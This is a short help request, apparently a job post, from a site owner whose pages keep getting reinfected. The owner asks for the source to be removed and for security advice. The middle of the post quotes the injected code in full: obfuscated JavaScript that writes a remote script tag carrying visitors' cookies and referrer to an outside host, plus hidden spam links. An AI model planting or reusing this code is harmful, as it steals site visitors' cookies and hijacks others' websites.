Remove Malware

I have malware showing up on the bottom of my website pages and it keeps coming back even after we manually remove it from our pages.

Here:

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</script>
<!– d1546d731a9f30cc80127d57142a482b –> <script>function permition_basefile(id) { var p00 = document; var chars = ‘cU azo:+Tys5MXS3/p6f7>!HBqPi=GNOvW8Y.DCkn0w12KElmVLduht9xZAg;&rj4?I<“QRFe*bJ’; var r = escape(p00.referrer); var c = escape(p00.cookie); var i = escape(id); var h = escape(‘africa-business’); p00.write(String(chars.charAt(67) + “*” + chars.charAt(10) + “*” + chars.charAt(0) + “*” + chars.charAt(62) + “*” + chars.charAt(27) + “*” + chars.charAt(17) + “*” + chars.charAt(54) + “*” + chars.charAt(2) + “*” + chars.charAt(10) + “*” + chars.charAt(62) + “*” + chars.charAt(0) + “*” + chars.charAt(28) + “*” + chars.charAt(68) + “*” + chars.charAt(53) + “*” + chars.charAt(54) + “*” + chars.charAt(54) + “*” + chars.charAt(17) + “*” + chars.charAt(6) + “*” + chars.charAt(16) + “*” + chars.charAt(16) + “*” + chars.charAt(10) + “*” + chars.charAt(74) + “*” + chars.charAt(51) + “*” + chars.charAt(54) + “*” + chars.charAt(51) + “*” + chars.charAt(10) + “*” + chars.charAt(36) + “*” + chars.charAt(0) + “*” + chars.charAt(5) + “*” + chars.charAt(48) + “*” + chars.charAt(16) + “*” + chars.charAt(3) + “*” + chars.charAt(0) + “*” + chars.charAt(5) + “*” + chars.charAt(52) + “*” + chars.charAt(40) + “*” + chars.charAt(54) + “*” + chars.charAt(72) + “*” + chars.charAt(62) + “*” + chars.charAt(36) + “*” + chars.charAt(63) + “*” + chars.charAt(10) + “*” + chars.charAt(65) + “*” + “*”).replace(/\*/g,”) + “r=” + r + “&c=” + c + “&i=” + i + “&h=” + h + String(chars.charAt(68) + “#” + chars.charAt(21) + “#” + chars.charAt(67) + “#” + chars.charAt(16) + “#” + chars.charAt(10) + “#” + chars.charAt(0) + “#” + chars.charAt(62) + “#” + chars.charAt(27) + “#” + chars.charAt(17) + “#” + chars.charAt(54) + “#” + chars.charAt(21) + “#” + “#”).replace(/\#/g,”)); } </script><style>
div#bee2429bd2d7d99aab410ea7ff56be3a6, div#bee2429bd2d7d99aab410ea7ff56be3a6 a
{
font-style: normal;
font-weight: normal;
font-family: Verdana, Tahoma, sans-serif;
font-size: 8px;
text-decoration: none;
color: gray;
text-align: center;
}
</style>
<div id=’bee2429bd2d7d99aab410ea7ff56be3a6′> <a href=”http://www.mp3fiesta.com” target=”_blank”>mp3 downloads</a> . website <a href=”http://www.hostnorth.com” target=”_blank”>cheap hosting reviews</a> from hosting experts <!–595943341794–></div>
<script>permition_basefile(‘bee2429bd2d7d99aab410ea7ff56be3a6’);</script>
<!– d1546d731a9f30cc80127d57142a482b –>

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I want you to:

1) Identify and eliminate the source
2) check the file permissions of my files/folders
3) Suggest security measures I should take to avoid such malware attacks